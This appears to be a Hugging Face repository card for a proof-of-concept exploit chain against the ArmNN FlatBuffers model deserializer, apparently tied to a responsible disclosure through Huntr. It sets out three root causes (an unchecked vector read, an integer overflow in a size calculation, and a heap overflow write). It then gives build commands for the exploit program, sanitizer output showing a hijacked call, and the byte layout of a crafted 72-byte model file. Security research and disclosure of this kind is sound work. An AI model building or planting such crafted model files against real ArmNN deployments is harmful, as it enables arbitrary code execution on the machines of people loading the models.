YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

ArmNN FlatBuffers Deserializer — Out-of-Bounds Read → Heap Overflow → RCE PoC

Vulnerability: Unchecked outputSlots()->Get(0) on empty FlatBuffers vector in ArmNN Deserializer
Affected software: ARM NN — src/armnnDeserializer/Deserializer.cpp
File format: .armnn (ArmNN FlatBuffers model format)
Impact: Heap-buffer-overflow WRITE → arbitrary code execution at inference time
Severity: Critical (CVSS 3.1 ≈ 9.8)


Files in this repository

File Description
poc.armnn 72-byte crafted ArmNN model file that triggers the vulnerability
rce_chain.cpp Self-contained C++ PoC reproducing the full 5-stage exploit chain
README.md This file

Vulnerability Overview

Root Cause 1 — Unchecked vector access (Deserializer.cpp:839, 1089, 1138)

// Deserializer.cpp:839 — no size check before Get(0)
auto outputSlot = GetBaseLayer(graphPtr, inputId)->outputSlots()->Get(0);

flatbuffers::Vector<T>::Get(i) uses FLATBUFFERS_ASSERT(i < size()) which compiles to a no-op under NDEBUG (all release builds). On an empty vector, Get(0) reads 4 bytes past the allocation boundary. Since the entire .armnn file is one contiguous heap buffer, those 4 bytes are fully attacker-controlled.

Root Cause 2 — Integer overflow in GetNumBytes()

// Tensor.cpp — unsigned 32-bit multiply, no overflow check
unsigned int count = 1;
for (unsigned int i = 0; i < m_NumDimensions; i++)
    count *= m_Dimensions[i];  // 0x80000001 × 2 = 0x100000002 → wraps to 2
return GetDataTypeSize(m_DataType) * count;  // 4 × 2 = 8 bytes ← undersized

Root Cause 3 — Inference-time heap overflow write

The compute kernel iterates over the actual stored dimensions [0x80000001, 2], writing 0x80000001 × 2 × 4 bytes ≈ 17 GB into an 8-byte allocation.


Proof of Concept

Self-contained (no ArmNN install required)

# Download FlatBuffers headers
mkdir fb_include && cd fb_include
curl -sL https://github.com/google/flatbuffers/archive/refs/tags/v24.3.25.tar.gz \
    | tar xz --strip-components=2 flatbuffers-24.3.25/include
cd ..

# ASAN build — confirms heap-buffer-overflow WRITE
g++ -std=c++17 -DNDEBUG -Ifb_include rce_chain.cpp \
    -fsanitize=address -fno-omit-frame-pointer -g -o rce_asan
./rce_asan

# No-ASAN build — demonstrates actual control-flow hijack
g++ -std=c++17 -DNDEBUG -Ifb_include rce_chain.cpp -o rce_hijack
./rce_hijack

ASAN Output (confirmed)

Stage 2: vec->size()=0  Get(0) raw=0x0000000c  OutputSlot*=0x50c000000050  ✓ MATCH
Stage 3: dimensions=[0x80000001, 0x00000002]
         GetNumElements(): 0x100000002 → wraps to 2
         GetNumBytes(): 8 bytes  ← undersized allocation

ERROR: AddressSanitizer: heap-buffer-overflow
WRITE of size 4 at 0x5020000000b8
  → 0 bytes after 8-byte region [0x5020000000b0, 0x5020000000b8)
  → allocated by malloc(8)  ← GetNumBytes() integer overflow

Stage 5: victim->trigger OVERWRITTEN by overflow: 0x4014e3 → 0x40152b
→ ATTACKER PAYLOAD EXECUTING (arbitrary code execution achieved)

poc.armnn Binary Layout (72 bytes, little-endian)

Offset  Bytes        Description
0x00    00000000     Empty outputSlots vector — size = 0
0x04    0c000000     OOB offset +12 → OutputSlot table
0x08    08000c00     OutputSlot vtable: vtable_size=8, obj_size=12
0x0C    04000800     field[0]=4 (index), field[1]=8 (tensorInfo)
0x10    08000000     OutputSlot object soffset=8
0x14    00000000     index = 0
0x18    14000000     Forward offset +20 → TensorInfo object
0x1C    10001000     TensorInfo vtable: vtable_size=16, obj_size=16
0x20    04000800     field[0]=4 (dims), field[1]=8 (dataType)
0x24    00000000     field[2]=0, field[3]=0 (absent)
0x28    00000c00     field[4]=0, field[5]=12 (dimensionality)
0x2C    10000000     TensorInfo object soffset=16
0x30    0c000000     Forward offset +12 → dims vector
0x34    07000000     dataType=7 (Float32), 3 bytes padding
0x38    01000000     dimensionality=1 (Specified)
0x3C    02000000     dims vector: size=2
0x40    01000080     dim[0] = 0x80000001  ← overflow trigger
0x44    02000000     dim[1] = 2

Security research — responsible disclosure submitted to Arm via Huntr.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. 🙋 Ask for provider support